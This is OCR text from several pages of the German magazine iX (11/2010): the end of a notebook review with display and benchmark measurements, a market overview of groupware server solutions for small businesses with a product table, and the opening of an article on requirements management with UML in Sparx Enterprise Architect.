Notebooks. Deshalb können ix 11/

84 REVIEW Notebooks mehrere Personen eine Präsentation, Fotos oder einen Videoclip betrachten in Bahn oder Flugzeug etwa bei vertraulichen Geschäftsberichten nicht unbedingt wünschenswert. Beim Arbeiten in hellem Tageslicht schrumpft durch den Einfluss des an der Display-Oberfläche gestreuten Fremdlichts der Farbraum, solange sich die Lichtquelle spiegeln. In der Farbraumgrafik zeigen die beiden inneren, grün gezeichneten Dreiecke den Farbraum bei einer Beleuchtungsstärke von lux (helles Tageslicht) und rein diffuser Reflexion (Lichtquelle nicht im Bild) sowie bei Spiegel - reflexion einer Lichtquelle an der Display-Oberfläche. Selbst bei hellem Tageslicht ist unter anderem dank des hellen Backlights die Farbsättigung akzeptabel. Schenkers mysn Schenkers mysn-notebook ist in der getesteten Variante mit einem 17,3 Zoll großen Full-HD-Bildschirm kein kleiner und leichter Zeitgenosse [1]. Die Core-i7-CPU 970 von Intel und Grafikausstattung mit zwei GTX 480M von NVIDIA erfordern ein wohlüberlegtes Kühlsystem, um die Lüftergeräusche in Grenzen zu halten. Die mysn-entwickler haben dem Gerät daher drei, für ein Notebook relativ große, thermisch geregelte Lüfter spendiert. Ergebnisse der SPECcpu2006 SPECint_base2006 SPECint_base2006 Ergebnisse des SPECjvm 51,30 66,97 16,20 19,20 i Aspire 3820TG (i3-m330) i Tecra S11-11H (i5-m520) i mysn XMG U700Ultra (i7-970) Aspire 3820TG (i3-m330) Tecra S11-11H (i5-m520) mysn D6F (Extreme i7-980x) i 1 mysn XMG U700Ultra (i7-970) 1 Axel Urbanski, Dieter Michel, Ralph Hülsenbusch; Mobile Workstation; Sechsspurig; Für Power-Gamer und Simulierer: Laptop mit Six-Core-CPU und High- End-Grafik; ixˇ8/2010, S.ˇ66 27,80 196,48 210,63 Als Systemplatte war eine Solid State Disc (SSD) eingebaut, sodass der Systemstart mit einer Lautheit von kleiner als 0,1 sone praktisch lautlos vonstatten geht. Ist das System hochgefahren, erzeugen die Komponenten genug Wärme, um die Zwangsbelüftung sporadisch anspringen zu lassen, die Lautheit steigt auf bis zu 0,9 sone. Beim Spiele-Benchmark sind deutliche Unterschiede zwischen Netz- und Akkubetrieb erkennbar. Im Akkubetrieb drosselt das System die Grafikleistung der Call of Juarez ruckelt deutlich und schafft nur 3ˇfps, wobei die Geräuschentwicklung der des Systems ohne laufende Anwendungen im Vordergrund entspricht. Im Netzbetrieb hingegen kann die Grafik aus dem Vollen schöpfen und legt sicht- und messbar an Geschwindigkeit zu: Selbst in voller HD-Auflösung wirken die Bewegungsabläufe dank einer Framerate von 20 bis 25 fps flüssig, wodurch die Geräuschentwick - lung auf 1,3 sone steigt. Bei einer DVD- Wiedergabe vom eingebauten optischen Laufwerk erreicht das Notebook denselben Wert. Während der Wiedergabe schalten sich die Lüfter für wenige Sekunden aus. Die Messungen der Leistungsaufnahme in verschiedenen Betriebszuständen bestätigen die Annahmen aus der Schallmessung: Das mysn genehmigt sich im Idle-Betrieb mit 124ˇW einen ordentlichen Schluck aus der Pulle aber mit einem Powerfaktor von 0,93. Wahrscheinlich muss deshalb die Zwangsbelüftung ab und zu anspringen. Beim Spiele-Benchmark Call of Juarez steigt der Leistungsbedarf auf 163ˇW. Das abgeschaltete Notebook kommt mit 7ˇW bei einem Powerfaktor von 0,5 aus. Das getestete Notebook war mit einem FullHD-Display mit glänzender Paneloberfläche ausgestattet. Die maximale Leuchtdichte beträgt mit aufgesetztem Sensor (Gossen-Mavo-Monitor) gemessen 150 cd/m 2, mit einem Messwinkel von 1 (Konica Minolta CS-100) 194 cd/m 2. Die unterschiedlichen Ergebnisse sind auf die abweichenden Erfassungswinkel der Messgeräte zurückzuführen. Das Display des mysn-notebooks weist eine Winkelabhängigkeit auf: der gemessene Fullscreen-Kontrast ist im Rahmen der Messgenauigkeit bei beiden Messverfahren identisch und beträgt 750:1 (Mavo-Monitor) beziehungsweise 693:1 (CS-100). Die Ausleuchtung des Bildschirms hält sich mit einer mittleren relativen Abweichung von 7,4ˇ% (VESA-Uniformity:ˇ77,3ˇ%) im Rahmen. Die Winkelabhängigkeit des Kontrasts ist speziell in der Horizontalen ausgeprägt. Der horizontale Einblickwinkel beträgt etwa 120. Die Farbmessungen ergeben einen gegenüber srgb sichtbar kleineren Farbraum, sodass alle Farben weniger gesättigt wirken. Der Weißpunkt stimmt allerdings sehr präzise mit der srgb- Vorgabe überein, wie bei dem Notebook von Toshiba, wahrscheinlich aus demselben Grund: um Energie einzusparen. Die Messungen am mysn-notebook fanden früher als bei den anderen Testkandidaten statt, zu einem Zeitpunkt, als der Fremdlicht-Messaufbau noch nicht zur Verfügung stand. Die entsprechenden Messergebnisse stehen daher für das mysn-notebook leider nicht zur Verfügung. Fazit Messungen mit den CPU-Benchmarks ließen keine Frage aufkommen: Die Prozessoren skalieren im SPECcpu2006 ihrem Takt entsprechend, wobei der Turbomode positiv zu Buche schlägt. Von der Zahl der Kerne kann der Test nicht profitieren. Beim Java-Benchmark SPECjvm können die Kerne ins Spiel kommen und erhöhen nahezu adäquat die Leistung. Bei Grafikanwendungen sind die GPUs der treibende Faktor. Dort, wo Prozessorleistung und Speicherausbau entscheiden, lohnt der Griff zur Oberklasse. Für das Gros der Anwendungen kommt man aber bereits mit dem Einsteiger gut zurecht leider sind die Bildschirme der Sub - notebooks für manche Applikation nicht groß genug. (rh) DIETER MICHEL arbeitet als freier DV-Journalist und ist Chefredakteur der Fachzeitschrift Prosound. Er lieferte die Messungen samt Auswertung für diesen Beitrag. Literatur [1]ˇRalph Hülsenbusch; Mobile Workstation; Sechsspurig; Für Power- Gamer und Simulierer: Laptop mit Six-Core-CPU und High-End- Grafik; ixˇ8/2010, S.ˇ66 [2]ˇDieter Michel; Monitore; Schminkspiegel; Neue Messverfahren für Notebook-Displays unter Fremdlichteinfluss; ixˇ10/2010, S.ˇ126 x 84 ix 11/2010

85

86 REPORT Collaboration Groupware und mehr Komplettangebote für KMU Talentvielfalt André von Raison Dass eine zentrale Informations- und Kommunikationsplattform die betrieblichen Abläufe beschleunigen kann, ist unbestritten inzwischen selbst in kleineren Firmen. Bietet das hierfür in die engere Wahl kommende Produkt Funktionen jenseits des klassischen Mailservers, fehlt zur vielzitierten Eier legenden Wollmilchsau nicht mehr viel. Eine Marktübersicht beleuchtet, wer sich im KMU-Markt tummelt. Von einigen unverbesserlichen Ausnahmen abgesehen sind auch in kleinen Unternehmen (KMU) die Zeiten der per Karteikasten geführten Firmenkommunikation längst Geschichte. Während sich im ganz kleinen Maßstab solche Umgebungen noch mit einem PC organisieren lassen, gerät dies bei mehreren vernetzten Arbeitsplätzen schnell zur unübersichtlichen Aufgabe. Erschwerend kommt hinzu, dass in den vielen kleinen und mittelständischen Unternehmen von denen es allein in Deutschland immerhin rund drei Millionen gibt vor allem im unteren Größensegment fundiertes IT-Knowhow fehlt. Hier mutiert nicht selten der Mitarbeiter mit den besten PC-Kenntnissen zum Administrator für alle. Das kann zur Folge haben, dass weniger strategische Argumente Investitionsentscheidungen prägen als vielmehr persönliche Vorlieben Einzelner mit potenziellen Auswirkungen auf Aspekte wie Skalierbarkeit, Datenschutz oder Sicherheit. Neue Märkte erschließen So verwundert es nicht, dass Microsoft auch in diesem Marktsegment der Platzhirsch ist. In Redmond hatte man mit dem Small Business Server (SBS) schon früh auf das Konzept gesetzt, teilweise leicht abgespeckte Versionen der großen Serverprodukte mit in der Benutzerzahl begrenzter Lizenzierung in einem Komplettpaket zu verschnüren. Eine integrierte grafische Administration für das System öffnete dem Branchenprimus schnell Tür und Tor in den KMU. Vor allem die auf Linux basierenden Produkte ließen lange Zeit einen gleichwertigen Bedienkomfort vermissen. Die Distributionshersteller hatten sich überwiegend auf den professionellen Server-Einsatz in größeren Umgebungen konzentriert und hier war auch wegen der überwiegend Unix-lastigen Historie in den Unternehmen meist ausreichendes Know-how für die in der Regel mit Kommandozeilen-Tools zu bewältigende Systemverwaltung vorhanden. Auch dürften die fetteren Margen in dem Marktsegment ihren Teil zu dieser Einseitigkeit beigetragen haben. Erst in den letzten Jahren hat sich bei den kommerziellen Linux-Distributionen die Erkenntnis durchgesetzt, dass sich mit grafisch orientierten Administrationswerkzeugen neue Anwenderschichten erschließen lassen. Inzwischen haben viele Anbieter nachgezogen und bieten mehr oder weniger integrierte Tools an, mit denen selbst Linux-technisch weniger beschlagene Administratoren die Systeme verwalten können, ohne dabei elementare Grundlagen von Datenschutz und Systemsicherheit zu vernachlässigen. Vielfalt oder die Qual der Wahl Auch wenn die individuellen Anforderungen ein breites Spektrum abdecken, dürfte das Kernstück einer Software für KMU die Groupware-Komponenten sein. Große Unternehmen setzen diese oft als -Lösungen eingeführten, im Lauf der Zeit um Kalender und Kontakt-Management erweiterten Systeme schon seit Jahren ein. Inzwischen wollen zunehmend auch KMU vom potenziellen Produktivitätsgewinn profitieren. Bis auf Microsoft haben die Großen der Branche diesem Bereich lange nur wenig Aufmerksamkeit gewidmet. Das lag zum einen sicher daran, dass die Anwender angesichts der nicht geringen Hardwareanforderungen eine gewisse Kaufzurückhaltung an den Tag legten. Hier hat die Weiterentwicklung der Hardware sicherlich einen großen Teil dazu beigetragen, dass heute selbst Kleinstunternehmen die für einen Groupware-Server erforderlichen Leistungsreserven vorhalten können. Zum 86 ix 11/2010

87 anderen bietet der KMU-Bereich den Anbietern deutlich kleinere Margen und erfordert vor allem angesichts des meist geringen IT-Fachwissens bei den Kunden im Vergleich zu großen Installationen deutlich mehr Ressourcen für den Support. Letztlich verursacht die Trägheit der Großen, dass eine Reihe neuer Kandidaten einen Platz im Markt finden konnten. Es fällt auf, dass der überwiegende Teil der Neulinge dem Open- Source-Lager entstammt, entsprechend breit gefächert ist das Angebot inzwischen. Neben der größeren Flexibilität dürfte sich auch die zunehmende Sensibilisierung der potenziellen Kunden hinsichtlich Herstellerunabhängigkeit positiv auf die Entwicklung ausgewirkt haben. Ein breit angelegtes Produktspektrum Auf der einen Seite stehen die abgespeckten Varianten der High-End- Produkte, deren Anbieter teilweise über Jahrzehnte Erfahrungen verfügen. Hierzu zählt IBMs Lotus Foundation Start, bei dem Big Blue dem Kunden ein Komplettsystem inklusive Server für bis zu 500 Benutzer hinstellt. Novell ging mit seiner Open Workgroup Suite den ähnlichen Weg wie Microsoft, die ihren SBS als eigenständige Produkt - linie etablierten. Bei diesen Herstellern läuft der KMU-Kunde allerdings Gefahr, ein kleines Licht unter vielen zu sein. Wesentlich mehr Aufmerksamkeit seitens des Anbieters können sich potenzielle Nutzer der vielen eher von kleineren Firmen betreuten Produkte sichern, die das Gros der verfügbaren Produkte ausmachen. Einige Hersteller bieten weitgehend vorkonfigurierte Komplettpakete entweder in Form von Images einer virtuellen Maschine oder inklusive Hardware an als sogenannte (virtuelle) Appliances. x-tract Speziell auf kleine und mittlere Unternehmen zugeschnittene Komplettangebote decken die grundlegenden IT-Bedürfnisse ab. Angebote für den KMU-Sektor sollten vor allem eine integrierte Systemverwaltung beinhalten, mit der auch weniger erfahrene Administratoren ihre Rechner sicher betreuen können. Das Produktspektrum reicht von reinen Groupware-Paketen bis hin zu universellen Servern für die komplette Firmen-IT. Hat jemand kein Interesse, sich mit Hardware und den mit deren Betrieb verbundenen Fragen zu belasten, kann gegebenenfalls ein Anbieter aus dem anderen Ende des Produktspektrums weiterhelfen. Voraussetzung dafür ist Virtualisierung; hier haben nicht nur die großen Hersteller wie Dell, HP oder IBM speziell auf die Bedürfnisse von KMU zugeschnittene Angebote im Programm, auch VMware mit seiner Always On IT für KMU arbeitet in diesem Segment. Allerdings muss sich der Kunde hier immer noch mit der Hardware beschäftigen und sich meist um die Softwareseite selbst kümmern. Einen Schritt weiter führen Hostedoder SaaS-Varianten, bei denen der Anbieter einen definierten Grad an Systemverfügbarkeit garantiert und in dem Zuge auch alle oft als lästig empfundenen nebenläufigen IT-Aufgaben wie Systempflege oder Datensicherung übernimmt. Im Gegenzug ist der Kunde auf die Verfügbarkeit seiner Kommunikationsinfrastruktur angewiesen funktioniert das Internet nicht, hat er keinen Zugriff auf seine Unternehmensdaten. In diesem Segment tummeln sich überwiegend die klassischen Server-Hoster wie 1&1, HostEurope oder STRATO. Bei wirklich kleinen Unternehmen könnten als erster Schritt auch die in vielen Hosting-Paketen enthaltenden Angebote wie STRATOs Communicator oder 1&1 Mailxchange mit Groupware-Funktionen zumindest preislich eine Alternative sein. Ganz ohne Kosten für die Software ginge es auch, bietet doch Google mit den Optionen Docs, Calendar und Mail inzwischen recht brauchbare Werkzeuge für einige Standardaufgaben [1]. Allerdings sollte man bei diesen wie auch bei anderen gehosteten oder in der vielbesungenen Cloud beheimateten Angeboten die rechtlichen Aspekte nicht außer Acht lassen. Wie der Artikel Wolkendienste [2] beschreibt, ist die Datenverarbeitung in der Cloud rechtix 11/

88 REPORT Collaboration Komplettlösungen für kleine und mittlere Unternehmen Produkt bitkit SOLUTIONS ClearOS/ClearBOX Collax Business Server CoreBiz SBS go.eco Firma Bitbone Clear Center Corp. Collax LIS AG godot communications WWW Typ Software HW-Appliance HW-Appliance VM, HW-Appliance Software 2, VM 2, HW-Appliance 2 Software, VM, HW-Appliance 2 OS Linux (Ubuntu) Linux (CentOS) Linux Linux (Debian) Linux Komponenten 1 Basisfunktionen, weitere möglich Basisfunktionen, weitere möglich Basisfunktionen, weitere mögl. 2 Basisfunktionen, CRM 2 Basisfunktionen, weitere möglich Anzahl User (max.) bis 100/unbegrenzt k.ˇa. bis 150/unbegrenzt bis 25 (25 3 ) /unbeschränkt Preis Basisversion e, Groupware-Appliance ab 1580 e 4, je inkl. 10 User Software kostenlos ab 1199 US-$ 4 845ˇe/Jahr (10 User), Appliances ab 1445ˇe e (25 User) 890 e Maintenance 174,50 e/jahr ab 80 US-$/Jahr 845 e/jahr ab 590 e/jahr k.ˇa. go.eco virt. Appliance kostenlos, Groupware monatlich 1,19 e/ User, HW-Appliance 4 ab 1199ˇe Produkt Lotus Foundations Start Open Workgroup Suite Small OX Appliance Edition RHEL Small Business Server 2008 Business Edition Firma IBM Lotus Software Novell Open-Xchange Red Hat Microsoft WWW Typ HW-Appliance Software HW-Appliance Software Software OS Linux Linux (SLES) Linux (UCS) Linux Windows 2008 Server Standard Komponenten 1 Basisfunktionen, weitere möglich Basisfunktionen Basisfunktionen, DMS, weitere Basisfunktionen 2, weitere Basisfunktionen, weitere möglich möglich möglich 2 Anzahl User (max.) bis 500 ab 5 50 bis 1000/unbeschränkt k.ˇa. bis 75/75 (hartes Limit) Preis Basisversion 5 Server 232 e 4, Client 151 e ab 529 e (5 User inkl. 1 Jahr Maintenance) VM 450 e, HW-Appliance ab 2195 e 4, je inkl. 10 User 349ˇUS-$/Jahr Standard ca. 970ˇe, Premium 1585ˇe je 1 Server inkl. 5 CAL Maintenance k. A. ab 129 e/jahr 450ˇe/Jahr 349ˇUS-$/Jahr inklusive 1 Basisfunktionen: , Adressen, Kontakte, Aufgaben, To-do-Listen, Termine, Kalender, Notizen, Shared Folder, 2 Im Projektgeschäft, 3 Beschränkung nur lizenztechnisch, 4 inkl. Hardware, 5 alle Preise zzgl. MwSt. lich eine anspruchsvolle Aufgabe, bei der vor allem die Datenschutzbestimmungen wegen der Auslagerung von personenbezogenen Daten bei der Vertragsgestaltung ein große Rolle spielen. Was man sonst noch brauchen kann Neben diesen eher grundlegenden Aspekten sollte man aber einige weitere in Betracht ziehen. So kann die Frage nach den einzusetzenden Clients eine Entscheidung maßgeblich beeinflussen. Zwar sollte der Quasi-Standard Outlook inzwischen bei allen Anbietern funktionieren, beim Zugriff über mobile Geräte kann sich das Angebot aber schnell ausdünnen. Dies gilt in gleichem Maß für die Einbindung zusätzlicher Funktionen jenseits der klassischen Groupware-Komponenten, , Adressen, Kontakte, Aufgaben, To-do-Listen, Termine, Kalender, Notizen und Shared Folder. Eine detailliertere Betrachtung der Groupware- Funktionen findet sich im Artikel Neu gruppiert [3]. Wer sich mit konkreten Beschaffungsplänen befassen muss und noch tiefer in das Thema einsteigen möchte, dem kann die kostenpflichtige ix-studie zum Thema Groupware weiterhelfen [4]. Nicht alle Produkte verfügen allerdings über die Option, Zusatzpakete wie ein CMS- oder ERP-System einzubinden respektive zu integrieren. Teilweise funktioniert das nur ohne Integration in das Systemmanagement. Schließlich sollte man gegebenenfalls ein zukünftiges Größenwachstum der eigenen Firma in Betracht ziehen und sich ansehen, wie die Kandidaten skalieren oder welche potenziellen Migrationswege für die Daten existieren. Letztere spielen bei einem Wechsel des Anbieters respektive der eingesetzten Plattform natürlich ebenfalls eine Rolle. In der Regel haben hier die Open- Source-Angebote die Nase vorn. Ein darüber hinaus gern vernachlässigter Bereich sind Sicherheitsaspekte. So stuften in einer zugegebenermaßen nur bedingt aussagekräftigen Studie von Panda Security nur 56 Prozent der befragten KMU IT-Sicherheit als sehr wichtig ein, rund 14 Prozent gaben an, kein Sicherheitssystem installiert zu haben oder dies nicht zu wissen. Aussagen, die unter der Prämisse, dass die Anwender mit einem KMU- Server ihre gesamten Daten auf einem System konzentrieren, ein mulmiges Gefühl hinterlassen. Vor allem kleinere Anbieter aktiv Echte Komplettangebote inklusive Betriebssystem sind nicht allzu dicht gesät. Platzhirsch Microsoft hat im Zuge der aktuellen Renovierungsrunde seiner Serverprodukte auch seinen SBS grundlegend überarbeitet, die neue Version SBS 7 ist aber noch nicht fertig und liegt derzeit nur als Betaversion vor. Nach einem zwischenzeitlichen namentlichen Abstecher als Essential Business Server gibt es das KMU-Paket heute als SBS-Server 2008 in den Varianten Standard und Premium. Beide sind für maximal 75 Benutzer lizenziert und bieten neben dem Windows 2008 Server und Exchange 2007 unter anderem SharePoint-Services und die Office Live Integration; bei der Professional-Variante ergänzt um den SQL Server. Bei den Linux-Paketen bieten sich trotz des gleichen Fundaments über die Umsetzung der Anforderung komfortabel und integriert für die Anbieter vielfältige Abgrenzungsoptionen. Während Novell respektive SUSE bei seinem Server-Linux (SLES) schon früh auf eine einheitliche Oberfläche für Administration und Management im Produkt setzte und dies heute zum Beispiel unter dem Label Open Workgroup Suite propagiert, ging Konkurrent Red Hat in seinem Enterprise Linux (RHEL) einen anderen Weg. Für Verwaltungstätigkeiten verfügt RHEL über eine Reihe grafischer Helferlein, die Managementfunktionen lagerte man ins Red Hat Network aus. Streng genommen liefern die Rothüte keine Out-of-the-Box-Lösungen für KMU. So steht zwar auch eine kleine Server- Subscription zur Wahl, aber eine eigenständige SBS-Produktvariante mit Groupware-Funktionen sucht man zunächst vergeblich eine Lücke, in der sich die Red-Hat-Partner im Projektgeschäft tummeln können. 88 ix 11/2010

89 instantogo 2.2 ASE Groupware Intranator Business Server invis Server IP BRICK.IC KMU-Server take IT easy Skyrix Software AG Intra2net FSP Computer&Netzwerke IPBrick International Linuxserver/activmedia ipbrickde.ipbrick.com activmedia.ch Software, VM, HW-Appliance VM, HW-Appliance Software, VM Software, HW-Appliance HW-Appliance Linux (CentOS) Linux Linux Linux Linux (Debian) Basisfunktionen, weitere möglich Basisfunktionen, weitere möglich Basisfunktionen, weitere möglich Basisfunktionen, ERP, CMS Basisfunktionen bis 150/unbegrenzt 5-250/unbeschränkt k.ˇa. k.ˇa. k.ˇa. 690 e/jahr, Server ab 490 e (10 User) + k.ˇa. k.ˇa., Vertrieb über Partner 5300 SFr 4 inklusive 1 Jahr Maintenance 30ˇe/Groupware-Nutzer. Preise für Appliances a. A. ab 360ˇe/Jahr 1 Jahr inklusive k.ˇa. k.ˇa. kostenlos (über Debian-Projekt) SME Server UCS Xandros Server (Scalix Edition) Zentyal Server (ex. Ebox) Zimbra Collaboration Suite Appliance SME-Server-Projekt Univention Xandros Zentyal Zimbra wiki.contribs.org Software Software, VM, HW-Appliance 2 Software Software Software, VM Linux (CentOS) Linux (Debian) Linux (Debian) Linux Linux (UCS) Basisfunktionen, weitere möglich Basisfunktionen, weitere möglich 2 Basisfunktionen, weitere möglich , Adressen, Kalender Shared Basisfunktionen, weitere möglich 2 Folder, weitere möglich 2 k.ˇa. 25/unbeschränkt circa 150/k.ˇA. bis 50/k.ˇA. circa 150/unbeschränkt kostenlos (Open-Source-Projekt) 290 e + 39,50 e/groupware-user ab 450 US-$ + 60 US-$/Scalix-User ab 295 e bis 10 User kostenlos, 25 US-$/User jährlich nur über Community 290 e + 16,50 e/groupware-user 799 US-$/Jahr + 12 US-$/Scalix-User 250 e e/jahr 25 US-$/User jährlich Neben den beiden großen Familien RHEL und SLES spielt nur Debian mit seinen Derivaten wie Ubuntu eine größere Rolle im Distributionszirkus. Für Letzteres versucht Canonical seit Jahren den Ubuntu Server als komfortable Alternative zu den beiden Großen zu etablieren. Spezielle KMU-Angebote finden sich aber nicht, sodass hier im übertragenen Sinn das zu Red Hat Gesagte gilt. Debian selbst haftet der Ruf an, zwar unabhängig, aber in Sachen Komfort ziemlich spröde zu sein. Das sahen einige Anbieter als Gelegenheit, sich ein Alleinstellungsmerkmal verschaffen zu können. Univention entwickelte daraus und mit einer LDAP-Infrastruktur eine grafische Managementoberfläche, die den oben genannten Kernansprüchen weitgehend entspricht und sich darüber hinaus sehr gut in Windows- Umgebungen integrieren lässt. Da die Erweiterungen unter der GPL stehen, besteht keine Gefahr der Abhängigkeit von einem Hersteller. Mit integrierter Groupware wahlweise Kolab, Open- Xchange, Scalix oder Zarafa bieten die Bremer ihren Corporate Server UCS auch als Univention Groupware Server (UGS) an. Darüber hinaus dient die Bremer Linux-Distribution als Plattform für Komplettangebote einiger Groupware-Hersteller. Beispielsweise basieren die Komplettangebote von Open-Xchange und Zarafa auf UCS. Auch die in München und Berlin beheimatete Linux Information Systems AG (LIS AG) nutzt Ubuntu als Basis ihres ebenfalls komplett unter der GPL stehenden CoreBIZ. Wie bei Univen - tion integrierte man die komplette Systemverwaltung in einen OpenLDAP- Baum mit grafischer Administration. Ähnliche allerdings teilweise proprietäre Ansätze gibt es beispielsweise auch von Xandros. Die ebenfalls als Debian-Derivat gestartete kanadische Distribution bietet mit der Xandros Management Console xmc ebenfalls ein umfangreiches Verwaltungswerkzeug. Darüber hinaus hat Xandros mit dem OpenMail-Nachfolger Scalix eine ausgezeichnet skalierende Groupware im Produktportfolio. Auch die Münchener Collax AG kann in diesem Umfeld glänzen, deren Systeme gibt es auf Wunsch komplett vorkonfiguriert inklusive Hardware. Der aus dem englischsprachigen Raum stammende SME Server setzt hingegen auf eine komplett webgestützte Administration. Bei der Tübinger Intra2net steht Komfort im Vordergrund. Den ursprünglich als reines Kommunikations-Gateway entstandenen Intranator erweiterten die Tübinger Entwickler inzwischen zu einem vollwertigen Groupware-Server und liefern auf Wunsch geeignete Hardware gleich mit. Die Tabelle gibt einen ersten Überblick, Links zu den Produktinfos der Hersteller liefert der ix-link. Fazit Egal, ob man als KMU in das Thema Groupware einsteigen oder aus welchen Gründen auch immer man von einem Produkt zum anderen wechseln möchte, sollte man eine Binsenweisheit verinnerlichen: Soll die Entscheidung auf längere Sicht tragfähig sein, ist eine gründliche Information eine zwingende Voraussetzung. Jeder Anbieter setzt bei seinem Produkt andere Akzente, sodass es schwer ist, den Überblick zu bekommen. Gerade KMU sollte sich daher überlegen: Reicht das eigene Wissen für eine fundierte Entscheidung nicht aus, ist es sinnvoller (und langfristig in der Regel billiger), die Beratungsdienstleistung extern einzukaufen. (avr) Literatur [1]ˇHolger Bleich; Online-Kalender; Der Überall-Kalender; Googles kostenloser Webkalender mausert sich zum kleinen Exchange für Privatleute; c t 21/2010, S.ˇ164 [2]ˇArnd Böken; Cloud-SicherheitˇI; Wolkendienste; Was man bei Cloud- Verträgen beachten muss; ix-special 3/2010; Sicher im Netz; S.ˇ111 [3]ˇChristian Böttger, André von Raison; Groupware; Neu gruppiert; Colla - boration-lösungen für KMU; ixˇ5/2008, S.ˇ99 [4]ˇChristian Böttger (Hrsg.) et al.; ix-studie Groupware; Kommerzielle und Open-Source-Groupware-Systeme im Vergleich; 2. aktualisierte Auflage, Hannover x ix 11/

90 REPORT Requirements Management Anforderungen mit UML in Sparx EA modellieren Rezeptpflichtig Marc Piwecki Anforderungen beschreiben die gewünschten Fähigkeiten sowie die allgemeine Beschaffenheit einer Software. Somit bilden sie die Grundlage für die Spezifikation, beeinflussen Implementierung, Tests und Abnahme des Endprodukts. Wer hier unsauber zu Werke geht, endet bei der Umsetzung meist im Chaos. Angesichts der Komplexität vieler Softwaresysteme lässt sich deren Vollständigkeit, Korrektheit, Verständlichkeit und Prüfbarkeit ohne den Einsatz einer Methode, die Ordnung in die Sache bringt, nicht garantieren. Hier soll das Anforderungsmanagement (Requirements Engineering) weiterhelfen. Es widmet sich Aspekten der strukturierten Analyse, der Dokumentation, der Nachverfolgbarkeit sowie dem Verwalten von Anforderungen mit dem Ziel, die systemimmanente Komplexität auf ein erträgliche Maß zu reduzieren. Denn über den gesamten Entwicklungsprozesses hinweg bilden Anforderungen die Kommunikationsgrundlage für Auftraggeber und IT-Abteilung. Wie immer in der IT gilt auch hier: Garbage in, Garbage out. Schlechte oder missverständliche Spezifikationen erzeugen kostspielige Fehler in den nachfolgenden Phasen und schlimmstenfalls in der produktiven Umgebung. Anforderungsmanagement ist eine oftmals unterschätzte Disziplin. Der Requirements Engineer sollte über exzellente integrative Fähigkeiten ver fügen, da er nicht selten Wünsche aus verschiedenen Projekten, Abteilungen und Unternehmen zusammenführen muss. Ein weiteres, wenn nicht das größte Problem bei der Anforderungsanalyse ergibt sich aus der ungenauen und mehrdeutigen natürlichen Sprache. Hier bleibt immer ein gehöriger Interpretationsspielraum. Diese Faktoren erschweren vor allem das Nachverfolgen der Abhängigkeiten zwischen unterschiedlichen Anforderungen und damit deren Zusammenführung mit dem Änderungsmanagement. Die Verantwortlichen sollten also jederzeit wissen, welche Teile eines Systems was treiben und wie das Ganze zusammenhängt. Wenn sich alles genau nachverfolgen lässt, können sie den Aufwand der zu erwartenden Änderungen gut einschätzen und damit die Kosten realistisch planen. Requirements Engineering kam bisher überwiegend in Großprojekten mit Wasserfall- oder V-Modell-Vorgehen zum Zuge. Vor allem deswegen, weil die Prozessbeschreibung dort von Anfang an Augenmerk auf die Anforderungsanalyse richtet. Mehr und mehr sehen die Beteiligten in mittleren und kleineren Projekten diese Disziplin ebenfalls als unverzichtbaren Erfolgsfaktor. Gerade beim Einsatz agiler Methoden wie dem Feature-Driven- Development bietet sich das Verwalten der Feature Sets (eine Gruppe von verschiedenen Anforderungen) mit den Mitteln des Anforderungsmanagements geradezu an. Auch kleine Projekte profitieren Ohne Werkzeuge lassen sich die vielfach untereinander verknüpften und voneinander abhängigen Requirements jedoch nicht entwirren. Führend auf diesem Gebiet sind immer noch Excel und Word. Es gibt jedoch eine Reihe spezialisierter Tools zum Abwickeln des gesamten Anforderungsmanagements, etwa in-step von microtool. Geeignet ist auch der Enterprise Architect der australischen Firma Sparx Systems. 90 ix 11/2010

91 Das UML-Modellierungswerkzeug widmet sich schwerpunkmäßig der modellgetriebenen Softwareentwicklung und wirkt zunächst nicht wie ein Programm zum Erheben von Anforderungen, soll aber im Folgenden als Beispiel für UML-getriebenes Anforderungsmanagement dienen (siehe ix-link). UML als Werkzeug der Wahl x-tract UML hat bereits mit den Use Cases ein effektives Mittel zum Formulieren von Anforderungen vorgelegt. Allerdings decken diese primär nur die Interaktion des Benutzers mit dem System ab. Nichtfunktionale Aspekte wie Sicherheit, Verfügbarkeit, Performance oder Qualitäts- beziehungsweise Abnahmekriterien lassen sich nicht ohne Weiteres abbilden. Auch die Integration in das Änderungsmanagement sieht UML 2.0 nicht vor. Benutzerdefinierte Diagramme und Elemente helfen jedoch weiter. Sparx liefert dazu in der Toolbox-Palette Maintenance zusätzliche UML-Elemente für das Change Request Management, etwa Issue und Change. Und die Palette Requirements stellt weitere UML-Elemente für das Anforderungsmanagement bereit, das wichtigste heißt Requirement. Mit diesen Erweiterungen lässt sich das Anforderungsmodell als strukturiertes Diagramm erstellen. Sparx unterscheidet externe und interne Anforderungen. Externe erfasst der Modellierer als Elemente und verknüpft sie mit anderen UML-Elementen oder -Modellen, etwa Anwendungsfällen, Geschäftsvorfällen oder Softwarekomponenten. Die Eigenschaften der Elemente definiert er hingegen als interne Anforderungen direkt am jeweiligen Element. Man kann die Eigenschaften zu einem späteren Zeitpunkt in externe Anforderungen umwandeln, also in eigenständige Elemente mit einer Realisierungsbeziehung zum ursprünglichen UML-Element. Dies ist notwendig, da man zum Nachverfolgen der Anforderungen nur die Elemente und deren Beziehungen unterein - ander und nicht die Eigenschaft selbst auswerten kann. Anwendungsfälle haben Vorrang Kleine Projekte, die in der Regel ihre Anforderungen über ein Use-Case- Modell erfassen, sind somit in der Lage, sich zunächst auf das Design der Anwendungsfälle zu konzentrieren. Die den Use Cases zugrunde liegenden Anforderungen lassen sich frühzeitig über deren Requirements-Eigenschaft mit erfassen, ohne dass bereits jetzt ein vollständiger Prozess für das Anforderungsmanagement definiert werden muss. Das Use-Case-Modell ist demnach Bestandteil des ausbaubaren Anforderungsmodells. Grundsätzlich lassen sich UML- Modelle über Packages strukturieren. Die einzelnen Pakete enthalten normalerweise ein Übersichtsdiagramm des Ohne Werkzeuge und Methoden lässt sich die Komplexität von Software systemen nicht in den Griff kriegen. Das am Anfang jeder Entwicklung stehende Anforderungsmanagement erfährt meist nicht die nötige Aufmerksamkeit, Chaos wird so zum Normalzustand. Die Modellierungssprache UML bietet in Kooperation mit einem geeigneten Werkzeug wie Sparx EA gute Möglichkeiten, Anforderungen nachvollziehbar und strukturiert zu beschreiben. Der Benutzer kann die Struktur eines UML-Projekts in Sparx EA frei ausgestalten (Abb.ˇ1). Modells sowie der einzelnen Elemente, Artefakte (etwa Verlinkung auf außerhalb des Modells gespeicherte Dokumente) und weitere Packages. Der Übersichtlichkeit halber sollte man Elemente und Packages nicht auf einer hierarchischen Ebene 